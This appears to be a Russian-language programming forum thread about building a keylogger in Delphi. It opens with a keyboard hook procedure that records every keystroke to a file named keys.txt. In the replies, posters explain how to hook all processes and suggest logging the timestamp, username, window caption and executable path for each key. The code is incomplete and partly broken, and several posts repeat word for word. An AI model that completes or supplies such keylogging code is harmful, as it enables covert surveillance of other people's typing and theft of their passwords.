function KeyboardProc(nCode: Integer; wParam: WPARAM;
lParam: LPARAM ): LRESULT;
var
f:textfile;
szKeyName:Char;
begin
lpszpassword:=PChar(lpvMem);
if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP)= 0) then
begin
GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));
assignfile(f,'keys.txt');
if fileexists(f) then
begin
reset(f);
writeln(f,szKeyName);
closefile(f);
end
else
begin
rewrite(f);
writeln(f,szKeyName);
closefile(f);
end;
result:= 0;
end
else result:= CallNextHookEx(g_hhk, nCode, Wparam, lParam);
end;
Please Help.
Имеется код отлавливания всех клавиш во всех процессах.
Но проблема в том как из этого приложения сохранять отлавливаемые нажатия в файл?
Исходники в архиве.
Пожалуйста помогите...
Но проблема в том как из этого приложения сохранять отлавливаемые нажатия в файл?
Исходники в архиве.
Пожалуйста помогите...
Это что действительно такой сложный проэкт, что никто и отписаться не может??
8 просмотров = 0 ответов. Cool.
8 просмотров = 0 ответов. Cool.
работа с файлами:
1. переменные типа File
2. MemoryStream, FileStream
1. переменные типа File
2. MemoryStream, FileStream
На тупые вопросы не кто отвечать и не хочет
2Borland_prog
впринципе согласен, но раз он спросил, то отвечу - с надеждой, что моё сообщение модераторы не удалят как в прошлый раз.
Daim
вообщем тебя обманули - этот код не отлавливает нажатие клавиш во всех процессах. чтоб все было так как надо пиши так:
это из keyboardhook.pas. Вроде должно быть правильно - к сожалению проверить возможности не было. Да и еще неплохо бы было записывать время, имя пользователя, каптион окна и другую полезную инфу, которая может понадобиться, например: 01.10.2006 19:19 Username WindowCaption Process ExePath Key.
впринципе согласен, но раз он спросил, то отвечу - с надеждой, что моё сообщение модераторы не удалят как в прошлый раз.
Daim
вообщем тебя обманули - этот код не отлавливает нажатие клавиш во всех процессах. чтоб все было так как надо пиши так:
Код:
это из keyboardhook.pas. Вроде должно быть правильно - к сожалению проверить возможности не было. Да и еще неплохо бы было записывать время, имя пользователя, каптион окна и другую полезную инфу, которая может понадобиться, например: 01.10.2006 19:19 Username WindowCaption Process ExePath Key.
Сорри, раньше ответить я не мог...
to kosfiz Спасибо тебе огромное!
to kosfiz Спасибо тебе огромное!